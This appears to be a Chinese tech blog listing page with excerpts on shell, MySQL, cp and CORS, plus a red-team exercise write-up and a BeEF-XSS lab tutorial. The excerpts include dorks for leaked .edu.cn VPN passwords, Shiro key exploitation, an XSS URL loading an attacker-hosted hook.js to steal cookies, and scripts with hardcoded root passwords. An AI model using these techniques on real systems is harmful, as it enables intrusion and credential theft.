有些人说他们参加了一门大学课程,教授让他们在终端上做所有事情,或者他们自己制定了一个规则,一段时间内必须在终端上完成所有工作。 工作坊 有几个人说像 Software Carpentry这样的工作坊(面向科学家的命令行、Git 和 Python/R 编程简介)帮助他们更熟悉命令行。 你可以在这里查看 Software Carpentry 课程。 书籍和文章 一些提到的材料: 文章: 《终端》 《命令行功夫》(包含 UNIX 和 Windows 命令行技巧) 书籍: 《Effective Linux at The Command Line》 《Unix Power Tools》(可能有些过时) 《The Linux Pocket guide》 视频: Mindy Preston 的 CLI tools aren’t inherently user-hostile Gary Bernhardt 的 destroy all software screencasts DistroTube ...

    2023-08-12 165
  • MySQL数据库基本操作

    基本操作有:查看有哪些数据库、查看有哪些表、创建数据库、创建表、查看表信息、向表中插入数据等 # 查看有哪些数据库 MariaDB [(none)]> show databases; 切换到test数据库 MariaDB [(none)]> use test; 查看当前数据库有哪些表 MariaDB [test]> show tables;Empty set (0.000 sec) # 表明当前数据库是空的 如果test数据库不存在,则创建 MariaDB [test]> CREATE DATABASE IF NOT EXISTS test; 在数据库test种创建表三个表:books、authors、series MariaDB [test]> CREATE TABLE IF NOT EXISTS books ( # 创建books表(前提是books表不存在,如果已经存在,则不创建)-> BookID INT NOT NULL PRIMARY KEY AUTO_INCREMENT,-> Title VARCHAR(100) NOT NULL,-> SeriesID INT, AuthorID INT);Query OK, 0 rows affected (0.033 sec) MariaDB [test]> CREATE TABLE IF NOT EXISTS authors # 创建authors表(前提是authors表不存在,如果已经存在,则不创建)-> (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT);Query OK, 0 rows affected (0.005 sec) MariaDB [test]> CREATE TABLE IF NOT EXISTS series # 创建series表(前提是series表不存在,如果已经存在,则不创建)-> (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT);Query OK, 0 rows affected (0.005 sec) 接下来我们再来看看表是否添加成功 MariaDB [test]> show tables;+----------------+| Tables_in_test |+----------------+| authors || books || series |+----------------+3 rows in set (0.000 sec) 向books表中插入数据 MariaDB [test]> INSERT INTO books (Title,SeriesID,AuthorID)-> VALUES('The Fellowship of the Ring',1,1),-> ('The Two Towers',1,1), ('The Return of the King',1,1),-> ('The Sum of All Men',2,2), ('Brotherhood of the Wolf',2,2),-> ('Wizardborn',2,2), ('The Hobbbit',0,1);Query OK, 7 rows affected (0.004 sec)Records: 7 Duplicates: 0 Warnings: 0 查看表信息 MariaDB [test]> describe books;+----------+--------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+--------------+------+-----+---------+----------------+| BookID | int(11) | NO | PRI | NULL | auto_increment || Title | varchar(100) | NO | | NULL | || SeriesID | int(11) | YES | | NULL | || AuthorID | int(11) | YES | | NULL | |+----------+--------------+------+-----+---------+----------------+4 rows in set (0.002 sec) 查询数据(从表中查询数据) MariaDB [test]> select * from books;+--------+----------------------------+----------+----------+| BookID | Title | SeriesID | AuthorID |+--------+----------------------------+----------+----------+| 1 | The Fellowship of the Ring | 1 | 1 || 2 | The Two Towers | 1 | 1 || 3 | The Return of the King | 1 | 1 || 4 | The Sum of All Men | 2 | 2 || 5 | Brotherhood of the Wolf | 2 | 2 || 6 | Wizardborn | 2 | 2 || 7 | The Hobbbit | 0 | 1 |+--------+----------------------------+----------+----------+7 rows in set (0.000 sec)   小知识:sql语句允许换行,直到遇到分号+回车才会认为sql语句输入结束,进入执行阶段 ...

    2023-08-12 171
  • Linux系统使用cp命令用法教程详解

    熟悉在 Linux 命令行中复制文件和目录的 cp 命令。 cp 命令是 Linux 中一个重要的命令,你可能经常会用到它。 正如名称所示,cp 代表 复制copy,它被用于 在 Linux 命令行中复制文件和目录。 这是一个相对简单的命令,只有几个选项,但你仍有必要深入了解它。 在展示 cp 命令的实际示例之前,我更建议你先熟悉绝对路径和相对路径的概念,将文件从一个位置复制到另一个位置时,你需要用到它们。 Linux 中的绝对路径和相对路径的不同之处 复制单个文件 cp 命令最简单和最常见的用途是复制文件,只需指定源文件和要“粘贴”文件的目标目录即可。 cp 源文件 目标目录 在复制文件的同时重命名它 你将文件复制到另一个位置时可以同时进行 重命名。这有点类似于文本编辑器中的“另存为”选项。 为此,你必须在路径中给出新的文件名。 cp 源文件 目标目录/新文件名 复制多个文件 你还可以将多个文件复制到另一个位置。 cp 文件1 文件2 文件3 目标目录 在这种情况下,你无法重命名文件。 你还可以使用通配符扩展,将特定后缀的文件复制到另一个位置: cp *.txt 目标目录 复制文件时避免覆盖现有文件 如果你将 file1.txt 复制到一个已经存在名为 file1.txt 文件的目录中,它会将原有的文件覆盖掉。 如果你不希望这样,cp 命令还提供了几个选项来处理文件覆盖的情况。 首先是使用选项 -i 的交互模式。在交互模式下,它会询问是否确认或放弃覆盖目标文件。 cp -i 源文件 目标目录 cp:覆盖 '目标目录/源文件' ? 按 Y 覆盖文件,按 N 跳过复制该文件。 选项 -n 代表完全取消覆盖。使用此选项时目标文件不会被覆盖。 cp -n 源文件 目标目录 还有一个选项 -b,在目标目录的文件将被覆盖时自动为其创建备份。我猜这里 b 代表 备份backup。 cp -b 源文件 目标目录 最后,还有一个“更新update”选项 -u,如果目标文件比源文件旧,或者目标文件不存在,就会被覆盖掉。 cp -u 源文件 目标目录 复制目录(文件夹) cp 命令也用来在 Linux 命令行中复制目录。 在复制目录时,你需要使用递归选项 -r。 cp -r 源目录 目标目录 你还可以将多个目录复制到另一个位置: cp -r 目录1 目录2 目录3 目标目录 在复制时保留属性 当你将文件复制到另一个位置时,它的 时间戳、文件权限 甚至所有权都会发生变化。 这是正常的行为。但在某些情况下,你可能希望在复制文件时保留其原始属性。 要保留属性,请使用选项 -p: cp -p 源文件 目标目录 ? 还有一个 -a 选项用于存档模式。它将连 ACL 也保留下来。 ...

    2023-08-12 175
  • 攻防演练|记一次对xx教育局攻防总结

    前言 这次攻防演练每个队伍分配不同的目标,有些队伍拿的点可以直接 nday 打,有些队伍外网打点十分困难比如我们,但分数是是统一算的,可以说不是那么的公平。不过也算是提供了些许经验,简单做一下总结,都是比较基础的东西,如有写的不正确的地方欢迎各位师傅指正。 外网打点 敏感信息泄露 一般来说学校外网能拿直接权限的点已经很少了,web 应用大多是放在 vpn 后面,因此能弄到一个 vpn 账号可以说是事半功倍 另外还可以通过语法筛选出存在默认弱口令的系统,常用命令如下: PLAINTEXT 1 2 3 4 5 6 7 #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码     #github*.edu.cn password   查看方式优先选择最近更新,太久远的基本上失效了 这里队友收集到了某个目标的 vpn 账号,使用的是 姓名拼音/12345678 弱口令 进去内网后能访问的只有一个 OA 系统,测试了一下没发现什么东西,寻找其他突破口 shiro 无链 常规的打点可通过 fofa、hunter、quake 等网络测绘平台进行资产收集,收集好后进行去重,把去重后的资产列表进行批量指纹识别,筛选出重要易打点的系统 在常规的 hw 中这些方法比较通用,但是对于教育行业来说会相对困难,有 edusrc 的存在许多通用型漏洞已经被提交修复了,因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点 坐了一天牢后,终于通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是 shiro 直接工具开冲,发现有默认 key 但是无利用链 这里想到之前学习 shiro 可以无依赖利用,感觉有戏尝试一波,相关知识可学习此文章 https://www.le1a.com/posts/a5f4a9e3/ PLAINTEXT 12 java -jar shiro_tool.jar 地址VPS:端口 通过 dnslog 测试有回显,这里有个注意点:使用 http://dnslog.cn/部分站点会拦截,可以换多个 dnslog 平台测试 dnslog 有回显接下来就是拿 shell 了,这里由于固化思维,之前遇到的都是 linux 系统,先入为主觉得是 Linux,结果没利用成功 这里可以通过网站快速生成 payload,https://x.hacking8.com/java-runtime.html 一开始以为是防火墙拦截,后面队友探测了一下目录结构,发现是 windows,所以这里 payload 要改变一下 Linux:   ...

    2023-08-12 251
  • Github打不开无法访问怎么办?如何解决?

    Github只要是程序员应该没有人不知道的,开源网站,很多时候国内访问的时候不是很稳定,经常的登录不上打开不开网页,这种情况怎么办?如何解决?今天就分享一下方法。 话不多说直接开始教程: 1.打开C:\Windows\System32\drivers\etc 路径下的的hosts文件 在hosts文件内加上如下内容并保存 140.82.114.4 github.com 140.82.114.4 gist.github.com 185.199.108.153 assets-cdn.github.com 151.101.64.133 raw.githubusercontent.com 151.101.108.133 gist.githubusercontent.com 151.101.108.133 cloud.githubusercontent.com 151.101.108.133 camo.githubusercontent.com 151.101.108.133 avatars0.githubusercontent.com 151.101.108.133 avatars1.githubusercontent.com 151.101.108.133 avatars2.githubusercontent.com 151.101.108.133 avatars3.githubusercontent.com 151.101.108.133 avatars4.githubusercontent.com 151.101.108.133 avatars5.githubusercontent.com 151.101.108.133 avatars6.githubusercontent.com 151.101.108.133 avatars7.githubusercontent.com 151.101.108.133 avatars8.githubusercontent.com 如图 如果无法编辑,鼠标右键打开文件属性将“只读”取消勾选并应用保存 Win+R打开运行框,输入cmd打开命令窗口,输入<mark style="box-sizing: border-box; background: rgb(252, 248, 227); color: rgb(0, 0, 0); padding: 0.2em; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; white-space: normal; outline: 0px !important;">ipconfig/flushdns命令会提示以下信息 然后就可以愉快的访问Github了! ...

    2023-08-12 239
  • 宝塔面板网站跨域问题怎么解决?

    在将网站主题静态文件放在其他网站的时候,发现存在跨域问题,经过一番摸索得以解决;解决方案如下:1.如果使用的nginx:打开网站的设置,找到配置文件,添加如下代码 add_header 'Access-Control-Allow-Origin' '*'; add_header 'Access-Control-Allow-Credentials' 'true'; add_header 'Access-Control-Allow-Methods'  'GET, POST, OPTIONS'; 添加完之后,重启nginx 2.如果使用的是apache 代码如下:打开网站的设置,找到配置文件,添加如下代码如果网站开启了ssl,注意有两处需要修改添加完之后,重启nginx 2.如果使用的是apache 代码如下:打开网站的设置,找到配置文件,添加如下代码如果网站开启了ssl,注意有两处需要修改 添加完之后,重启apache 如果配置了发现没有生效,尝试清理浏览器缓存,如果网站有cdn,尝试清理cdn缓存 ...

    2023-08-11 187
  • 小米手机去内置广告教程视频

    手机一堆烦人的广告不知道怎么关闭的看 下载地址 蓝奏云 ...

    2023-07-27 136
  • 2021Kali系列 -- XSS漏洞(Beef-xss)

    简介:BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能! 一、安装beef-xss 输入beef-xss,提示安装,输入y 二、启动beef-xss 三、访问登陆页面: http://192.168.139.133:3000/ui/panel 四、让目标主机访问存在生成的钩子代码 http://192.168.139.129:81/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.139.133:3000/hook.js"></script> 五、获取控制权限 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见 红色模块:表示模块不适用当前用户,有些红色模块也可以执行 橙色模块:模块可用,但结果对用户可见 灰色模块:模块为在目标浏览器上测试过 1、获取cookies 2、获取网页源码 3、让目标主机弹出提示信息 禁止非法,后果自负 ...

    2021-04-17 1064
  • 23 个非常实用的 Shell 拿来就用脚本实例

    为大家整理了23个实例,通过23个实战经典脚本实例,展示了shell脚本编程的实用技术和常见工具用法。大家只需根据自己的需求,将文中这些常见任务和可移植自动化脚本推广应用到其他类似问题上,能解决那些三天两头碰上的麻烦事。 检测两台服务器指定目录下的文件一致性 #!/bin/bash######################################检测两台服务器指定目录下的文件一致性######################################通过对比两台服务器上文件的md5值,达到检测一致性的目的 dir=/data/web b_ip=192.168.88.10 #将指定目录下的文件全部遍历出来并作为md5sum命令的参数,进而得到所有文件的md5值,并写入到指定文件中 find $dir -type f|xargs md5sum > /tmp/md5_a.txt ssh $b_ip "find $dir -type f|xargs md5sum > /tmp/md5_b.txt" scp $b_ip:/tmp/md5_b.txt /tmp #将文件名作为遍历对象进行一一比对for f in `awk '{print 2} /tmp/md5_a.txt'` do#以a机器为标准,当b机器不存在遍历对象中的文件时直接输出不存在的结果if grep -qw "$f" /tmp/md5_b.txt then md5_a=`grep -w "$f" /tmp/md5_a.txt|awk '{print 1}'` md5_b=`grep -w "$f" /tmp/md5_b.txt|awk '{print 1}'` #当文件存在时,如果md5值不一致则输出文件改变的结果if [ $md5_a != $md5_b ] thenecho "$f changed."fielseecho "$f deleted."fidone 定时清空文件内容,定时记录文件大小 #!/bin/bash#################################################################每小时执行一次脚本(任务计划),当时间为0点或12点时,将目标目录下的所有文件内#容清空,但不删除文件,其他时间则只统计各个文件的大小,一个文件一行,输出到以时#间和日期命名的文件中,需要考虑目标目录下二级、三级等子目录的文件################################################################ logfile=/tmp/`date +%H-%F`.log n=`date +%H` if [ $n -eq 00 ] || [ $n -eq 12 ] then#通过for循环,以find命令作为遍历条件,将目标目录下的所有文件进行遍历并做相应操作for i in `find /data/log/ -type f` dotrue > $idoneelsefor i in `find /data/log/ -type f` do du -sh $i >> $logfiledonefi 检测网卡流量,并按规定格式记录在日志中 #!/bin/bash########################################################检测网卡流量,并按规定格式记录在日志中#规定一分钟记录一次#日志格式如下所示:#2019-08-12 20:40#ens33 input: 1234bps#ens33 output: 1235bps######################################################3while : do#设置语言为英文,保障输出结果是英文,否则会出现bug LANG=en logfile=/tmp/`date +%d`.log #将下面执行的命令结果输出重定向到logfile日志中 exec >> $logfile date +"%F %H:%M"#sar命令统计的流量单位为kb/s,日志格式为bps,因此要*1000*8 sar -n DEV 1 59|grep Average|grep ens33|awk '{print $2,"\t","input:","\t",$5*1000*8,"bps","\n",$2,"\t","output:","\t",$6*1000*8,"bps"}' echo "####################"#因为执行sar命令需要59秒,因此不需要sleep done 计算文档每行出现的数字个数,并计算整个文档的数字总数 #!/bin/bash##########################################################计算文档每行出现的数字个数,并计算整个文档的数字总数#########################################################使用awk只输出文档行数(截取第一段) n=`wc -l a.txt|awk '{print $1}'` sum=0 #文档中每一行可能存在空格,因此不能直接用文档内容进行遍历for i in `seq 1 $n` do#输出的行用变量表示时,需要用双引号 line=`sed -n "$i"p a.txt` #wc -L选项,统计最长行的长度 n_n=`echo $line|sed s'/[^0-9]//'g|wc -L` echo $n_n sum=$[$sum+$n_n] doneecho "sum:$sum" 杀死所有脚本 #!/bin/bash################################################################ #有一些脚本加入到了cron之中,存在脚本尚未运行完毕又有新任务需要执行的情况, #导致系统负载升高,因此可通过编写脚本,筛选出影响负载的进程一次性全部杀死。 ################################################################ ps aux|grep 指定进程名|grep -v grep|awk '{print $2}'|xargs kill -9 从FTP服务器下载文件 #!/bin/bashif [ $# -ne 1 ]; then     echo "Usage: $0 filename"fi dir=$(dirname $1) file=$(basename $1) ftp -n -v << EOF   # -n 自动登录 open 192.168.1.10  # ftp服务器 user admin password binary   # 设置ftp传输模式为二进制,避免MD5值不同或.tar.gz压缩包格式错误cd $dir get "$file" EOF 连续输入5个100以内的数字,统计和、最小和最大 #!/bin/bash COUNT=1 SUM=0 MIN=0 MAX=100 while [ $COUNT -le 5 ]; do     read -p "请输入1-10个整数:" INT     if [[ ! $INT =~ ^[0-9]+$ ]]; then         echo "输入必须是整数!"         exit 1     elif [[ $INT -gt 100 ]]; then         echo "输入必须是100以内!"         exit 1     fi     SUM=$(($SUM+$INT))     [ $MIN -lt $INT ] && MIN=$INT     [ $MAX -gt $INT ] && MAX=$INT     let COUNT++ doneecho "SUM: $SUM"echo "MIN: $MIN"echo "MAX: $MAX" 用户猜数字 #!/bin/bash  # 脚本生成一个 100 以内的随机数,提示用户猜数字,根据用户的输入,提示用户猜对了,# 猜小了或猜大了,直至用户猜对脚本结束。# RANDOM 为系统自带的系统变量,值为 0‐32767的随机数# 使用取余算法将随机数变为 1‐100 的随机数num=$[RANDOM%100+1]echo "$num" # 使用 read 提示用户猜数字# 使用 if 判断用户猜数字的大小关系:‐eq(等于),‐ne(不等于),‐gt(大于),‐ge(大于等于),# ‐lt(小于),‐le(小于等于)while :do     read -p "计算机生成了一个 1‐100 的随机数,你猜: " cai    if [ $cai -eq $num ]    then        echo "恭喜,猜对了"           exit        elif [ $cai -gt $num ]        then            echo "Oops,猜大了"         else            echo "Oops,猜小了"     fidone 监测Nginx访问日志502情况,并做相应动作 假设服务器环境为lnmp,近期访问经常出现502现象,且502错误在重启php-fpm服务后消失,因此需要编写监控脚本,一旦出现502,则自动重启php-fpm服务。 #场景:#1.访问日志文件的路径:/data/log/access.log#2.脚本死循环,每10秒检测一次,10秒的日志条数为300条,出现502的比例不低于10%(30条)则需要重启php-fpm服务#3.重启命令为:/etc/init.d/php-fpm restart#!/bin/bash########################################################### #监测Nginx访问日志502情况,并做相应动作 ########################################################### log=/data/log/access.log N=30 #设定阈值while : do  #查看访问日志的最新300条,并统计502的次数     err=`tail -n 300 $log |grep -c '502" '`  if [ $err -ge $N ]  then  /etc/init.d/php-fpm restart 2> /dev/null  #设定60s延迟防止脚本bug导致无限重启php-fpm服务      sleep 60  fi  sleep 10 done 将结果分别赋值给变量 应用场景:希望将执行结果或者位置参数赋值给变量,以便后续使用。 方法1: for i in $(echo "4 5 6"); do    eval a$i=$idoneecho $a4 $a5 $a6 方法2:将位置参数192.168.1.1{1,2}拆分为到每个变量 num=0 for i in $(eval echo $*);do   #eval将{1,2}分解为1 2    let num+=1    eval node${num}="$i"doneecho $node1 $node2 $node3# bash a.sh 192.168.1.1{1,2} 192.168.1.11 192.168.1.12 方法3: arr=(4 5 6) INDEX1=$(echo ${arr[0]}) INDEX2=$(echo ${arr[1]}) INDEX3=$(echo ${arr[2]}) 批量修改文件名 示例: # touch article_{1..3}.html# ls article_1.html  article_2.html  article_3.html 目的:把article改为bbs 方法1: for file in $(ls *html); do     mv $file bbs_${file#*_}     # mv $file $(echo $file |sed -r 's/.*(_.*)/bbs\1/')     # mv $file $(echo $file |echo bbs_$(cut -d_ -f2) done 方法2: for file in $(find . -maxdepth 1 -name "*html"); do      mv $file bbs_${file#*_} done 方法3: # rename article bbs *.html 把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母 1)准备测试文件,文件名为2.txt 第1行1234567不包含字母 第2行56789BBBBBB 第3行67890CCCCCCCC 第4行78asdfDDDDDDDDD 第5行123456EEEEEEEE 第6行1234567ASDF 第7行56789ASDF 第8行67890ASDF 第9行78asdfADSF 第10行123456AAAA 第11行67890ASDF 第12行78asdfADSF 第13行123456AAAA 2)脚本如下: #!/bin/bash###############################################################把一个文档前五行中包含字母的行删掉,同时删除6到10行包含的所有字母############################################################## sed -n '1,5'p 2.txt |sed '/[a-zA-Z]/'d sed -n '6,10'p 2.txt |sed s'/[a-zA-Z]//'g sed -n '11,$'p 2.txt #最终结果只是在屏幕上打印结果,如果想直接更改文件,可将输出结果写入临时文件中,再替换2.txt或者使用-i选项 统计当前目录中以.html结尾的文件总大 方法1: # find . -name "*.html" -exec du -k {} \; |awk '{sum+=$1}END{print sum}' 方法2: for size in $(ls -l *.html |awk '{print $5}'); do     sum=$(($sum+$size)) doneecho $sum 扫描主机端口状态 #!/bin/bash HOST=$1 PORT="22 25 80 8080"for PORT in $PORT; do     if echo &>/dev/null > /dev/tcp/$HOST/$PORT; then         echo "$PORT open"     else         echo "$PORT close"     fidone 用shell打印示例语句中字母数小于6的单词 #示例语句:#Bash also interprets a number of multi-character options.#!/bin/bash###############################################################shell打印示例语句中字母数小于6的单词##############################################################for s in Bash also interprets a number of multi-character options. do  n=`echo $s|wc -c`  if [ $n -lt 6 ]  then  echo $s  fi done 输入数字运行相应命令 #!/bin/bash###############################################################输入数字运行相应命令##############################################################echo "*cmd menu* 1-date 2-ls 3-who 4-pwd 0-exit "while : do#捕获用户键入值  read -p "please input number :" n  n1=`echo $n|sed s'/[0-9]//'g` #空输入检测   if [ -z "$n" ]  then  continue  fi#非数字输入检测   if [ -n "$n1" ]  then  exit 0  fi  breakdonecase $n in  1)  date  ;;  2)  ls  ;;  3)  who  ;;  4)  pwd  ;;  0)  break  ;;     #输入数字非1-4的提示  *)  echo "please input number is [1-4]"esac Expect实现SSH免交互执行命令 Expect是一个自动交互式应用程序的工具,如telnet,ftp,passwd等。 需先安装expect软件包。 方法1:EOF标准输出作为expect标准输入 #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect << EOF set timeout 30 spawn ssh $USER@$IP    expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$PASS\r"} } expect "$USER@*"  {send "$1\r"} expect "$USER@*"  {send "exit\r"} expect eof EOF 方法2: #!/bin/bash USER=root PASS=123.com IP=192.168.1.120 expect -c "     spawn ssh $USER@$IP     expect {         \"(yes/no)\" {send \"yes\r\"; exp_continue}         \"password:\" {send \"$PASS\r\"; exp_continue}         \"$USER@*\" {send \"df -h\r exit\r\"; exp_continue}     }" 方法3:将expect脚本独立出来 登录脚本: # cat login.exp#!/usr/bin/expectset ip [lindex $argv 0] set user [lindex $argv 1] set passwd [lindex $argv 2] set cmd [lindex $argv 3] if { $argc != 4 } { puts "Usage: expect login.exp ip user passwd"exit 1 } set timeout 30 spawn ssh $user@$ip expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$passwd\r"} } expect "$user@*"  {send "$cmd\r"} expect "$user@*"  {send "exit\r"} expect eof 执行命令脚本:写个循环可以批量操作多台服务器 #!/bin/bash HOST_INFO=user_info.txt for ip in $(awk '{print $1}' $HOST_INFO) do     user=$(awk -v I="$ip" 'I==$1{print $2}' $HOST_INFO)     pass=$(awk -v I="$ip" 'I==$1{print $3}' $HOST_INFO)     expect login.exp $ip $user $pass $1done Linux主机SSH连接信息: # cat user_info.txt 192.168.1.120 root 123456 创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字,最后需要把每个用户的密码存在指定文件中 #!/bin/bash###############################################################创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字#最后需要把每个用户的密码存在指定文件中#前提条件:安装mkpasswd命令###############################################################生成10个用户的序列(00-09)for u in `seq -w 0 09` do  #创建用户  useradd user_$u  #生成密码  p=`mkpasswd -s 0 -l 10`  #从标准输入中读取密码进行修改(不安全)  echo $p|passwd --stdin user_$u  #常规修改密码  echo -e "$p\n$p"|passwd user_$u  #将创建的用户及对应的密码记录到日志文件中  echo "user_$u $p" >> /tmp/userpassword done 监控httpd的进程数,根据监控情况做相应处理 #!/bin/bash################################################################################################################################需求:#1.每隔10s监控httpd的进程数,若进程数大于等于500,则自动重启Apache服务,并检测服务是否重启成功#2.若未成功则需要再次启动,若重启5次依旧没有成功,则向管理员发送告警邮件,并退出检测#3.如果启动成功,则等待1分钟后再次检测httpd进程数,若进程数正常,则恢复正常检测(10s一次),否则放弃重启并向管理员发送告警邮件,并退出检测################################################################################################################################计数器函数 check_service() {  j=0  for i in `seq 1 5`   do  #重启Apache的命令  /usr/local/apache2/bin/apachectl restart 2> /var/log/httpderr.log     #判断服务是否重启成功  if [ $? -eq 0 ]  then  break  else  j=$[$j+1]  fi     #判断服务是否已尝试重启5次  if [ $j -eq 5 ]  then  mail.py  exit  fi  done  } while : do  n=`pgrep -l httpd|wc -l`  #判断httpd服务进程数是否超过500  if [ $n -gt 500 ]  then  /usr/local/apache2/bin/apachectl restart  if [ $? -ne 0 ]  then  check_service  else  sleep 60  n2=`pgrep -l httpd|wc -l`  #判断重启后是否依旧超过500              if [ $n2 -gt 500 ]  then   mail.py  exit  fi  fi  fi  #每隔10s检测一次  sleep 10 done 批量修改服务器用户密码 Linux主机SSH连接信息:旧密码 # cat old_pass.txt  192.168.18.217  root    123456     22 192.168.18.218  root    123456     22 内容格式:IP User Password Port SSH远程修改密码脚本:新密码随机生成 https://www.linuxprobe.com/books #!/bin/bash OLD_INFO=old_pass.txt NEW_INFO=new_pass.txt for IP in $(awk '/^[^#]/{print $1}' $OLD_INFO); do     USER=$(awk -v I=$IP 'I==$1{print $2}' $OLD_INFO)     PASS=$(awk -v I=$IP 'I==$1{print $3}' $OLD_INFO)     PORT=$(awk -v I=$IP 'I==$1{print $4}' $OLD_INFO)     NEW_PASS=$(mkpasswd -l 8)  # 随机密码     echo "$IP   $USER   $NEW_PASS   $PORT" >> $NEW_INFO     expect -c "     spawn ssh -p$PORT $USER@$IP     set timeout 2     expect {         \"(yes/no)\" {send \"yes\r\";exp_continue}         \"password:\" {send \"$PASS\r\";exp_continue}         \"$USER@*\" {send \"echo \'$NEW_PASS\' |passwd --stdin $USER\r exit\r\";exp_continue}     }"done 生成新密码文件: # cat new_pass.txt  192.168.18.217  root    n8wX3mU%      22 192.168.18.218  root    c87;ZnnL      22 iptables自动屏蔽访问网站频繁的IP 场景:恶意访问,安全防范 1)屏蔽每分钟访问超过200的IP 方法1:根据访问日志(Nginx为例) #!/bin/bash DATE=$(date +%d/%b/%Y:%H:%M) ABNORMAL_IP=$(tail -n5000 access.log |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>100)print i}') #先tail防止文件过大,读取慢,数字可调整每分钟最大的访问量。awk不能直接过滤日志,因为包含特殊字符。for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fidone 方法2:通过TCP建立的连接 #!/bin/bash ABNORMAL_IP=$(netstat -an |awk '$4~/:80$/ && $6~/ESTABLISHED/{gsub(/:[0-9]+/,"",$5);{a[$5]++}}END{for(i in a)if(a[i]>100)print i}') #gsub是将第五列(客户端IP)的冒号和端口去掉for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fidone 2)屏蔽每分钟SSH尝试登录超过10次的IP 方法1:通过lastb获取登录状态: #!/bin/bash DATE=$(date +"%a %b %e %H:%M") #星期月天时分  %e单数字时显示7,而%d显示07 ABNORMAL_IP=$(lastb |grep "$DATE" |awk '{a[$3]++}END{for(i in a)if(a[i]>10)print i}') for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fidone 方法2:通过日志获取登录状态 #!/bin/bash DATE=$(date +"%b %d %H") ABNORMAL_IP="$(tail -n10000 /var/log/auth.log |grep "$DATE" |awk '/Failed/{a[$(NF-3)]++}END{for(i in a)if(a[i]>5)print i}')"for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -A INPUT -s $IP -j DROP         echo "$(date +"%F %T") - iptables -A INPUT -s $IP -j DROP" >>~/ssh-login-limit.log     fidone 根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #!/bin/bash#####################################################################################根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁#################################################################################### logfile=/data/log/access.log #显示一分钟前的小时和分钟 d1=`date -d "-1 minute" +%H%M` d2=`date +%M` ipt=/sbin/iptables ips=/tmp/ips.txt block() {  #将一分钟前的日志全部过滤出来并提取IP以及统计访问次数  grep '$d1:' $logfile|awk '{print $1}'|sort -n|uniq -c|sort -n > $ips  #利用for循环将次数超过100的IP依次遍历出来并予以封禁  for i in `awk '$1>100 {print $2}' $ips`  do  $ipt -I INPUT -p tcp --dport 80 -s $i -j REJECT  echo "`date +%F-%T` $i" >> /tmp/badip.log  done } unblock() {  #将封禁后所产生的pkts数量小于10的IP依次遍历予以解封  for a in `$ipt -nvL INPUT --line-numbers |grep '0.0.0.0/0'|awk '$2<10 {print $1}'|sort -nr`  do   $ipt -D INPUT $a  done  $ipt -Z } #当时间在00分以及30分时执行解封函数if [ $d2 -eq "00" ] || [ $d2 -eq "30" ]  then  #要先解再封,因为刚刚封禁时产生的pkts数量很少  unblock  block  else  block fi 判断用户输入的是否为IP地址 方法1: #!/bin/bashfunction check_ip(){     IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$">/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 方法2: #!/bin/bashfunction check_ip(){     IP=$1     if [[ $IP =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then         FIELD1=$(echo $IP|cut -d. -f1)         FIELD2=$(echo $IP|cut -d. -f2)         FIELD3=$(echo $IP|cut -d. -f3)         FIELD4=$(echo $IP|cut -d. -f4)         if [ $FIELD1 -le 255 -a $FIELD2 -le 255 -a $FIELD3 -le 255 -a $FIELD4 -le 255 ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 增加版: 加个死循环,如果IP可用就退出,不可用提示继续输入,并使用awk判断。 #!/bin/bashfunction check_ip(){     local IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" >/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             return 0         else             echo "$IP not available!"             return 1         fi     else         echo "Format error! Please input again."         return 1     fi } while true; do     read -p "Please enter IP: " IP     check_ip $IP     [ $? -eq 0 ] && break || continuedone 一如既往的学习,一如既往的整理,一如即往的分享。感谢支持 ...

    2021-04-17 661
  • 某宝卖的微信号解封教程

    某宝买的教程解决办法: 微信被封永久禁和其它时长解决办法: 如果绑定了QQ号,可以去冻结账户,修改QQ密码24小时候申请解冻,会有意想不到的效果。 微信号被封禁60天的解决方法:如果绑定了QQ号,可以去冻结账户6~8小时再解冻,就变成了3天。 微信号被封30天的解决方法:先登录账号进入安全中心,下一步将账号解冻5小时后再解冻,登陆微信查看是否变成3天。 ...

